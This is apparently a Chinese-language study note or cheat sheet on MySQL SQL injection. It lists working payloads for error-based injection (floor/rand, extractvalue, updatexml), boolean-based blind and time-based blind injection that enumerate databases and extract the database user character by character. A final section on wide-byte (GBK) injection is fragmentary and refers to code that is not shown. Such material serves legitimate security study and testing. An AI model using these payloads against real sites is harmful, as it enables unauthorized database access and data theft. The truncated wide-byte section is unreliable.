1、Error-based SQL injection
利用前提:
页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()
优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息
-
通过floor报错
select 列1(count()) , 列2(concat()随机数) as x from 表 group by x;
select count(),concat(database(),floor(rand(0)*2)) as x from users group by x
select * from users where id = 1 and (select 345 from (表) as b ) -
获取有多少个数据库
and (select 1 from(select count(*),concat((select (select (select
concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) -
通过limit 获取所有数据库名
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
schema_name, 0x7e) from information_schema.schemata limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a)
-
通过ExtractValue报错
and extractvalue(1, (payload))
and extractvalue(1, concat(0x7e,(select @@version),0x7e)) -
通过UpdateXML报错
and updatexml(1,(payload),1)
and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)
2、Boolean-based blind SQL injection
利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。只能通过页面返回正常不正常
优点:
不需要显示位,不需要出错信息。
缺点:
速度慢,耗费大量时间。
需要掌握的几个函数
- exists( )
- ascii( )
- substr( string,pos,length) // 下标从1开始
- exists( )函数:
- esists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False。
- ascii( )函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
- substr( ) 函数:substr(string, num start, num length);string 为字符串,start为起始位置;下标从1开始;length为长度。
example:
and exists (select user())
and substr((select user()), 1, 1)=‘r’
and substr((select user()), 2, 1)=‘o’
and ascii(“r”)=114
and ascii(substr((select user()), 1, 1))>114
and ascii(substr((select user()), 2, 1))>111
?id=1’ and exists(select * from information_schema.tables) --+
?id=1’ and (select length(version()))=6 --+ //判断version()返回字符串长度。
?id=1’ and (select count(table_schema) from information_schema.tables) > 8 --+
//判断有多少数据库
?id=1’ and (select ascii(substr((select table_schema from information_schema.tables limit 0,
1), 1, 1)))>105 --+ //判断第一个库的第一个字符
Time-based blind SQL injection
3、Time-based blind SQL injection
利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
优点:
不需要显示位,不需要出错信息。
缺点:
速度慢,耗费大量时间。
-
IF(Condition,A,B)函数:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1) -
if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//获取当前
数据库个数
- if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //获取当前连接数据库用户第一个字母
- if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) //判断第一个数据库第一个字符。
- if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110,sleep(5), 1) //判断第一个数据库第二个字符。
4、宽字节注入的问题
以上代码中:
mysql_query(“SET NAMES ‘gbk’”, $con); //设置了GBK编码,把数据库信息填写进去。
_GET[‘age’]);
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符
- 单引号(’)
- 双引号(")
- 反斜杠(\)
- NULL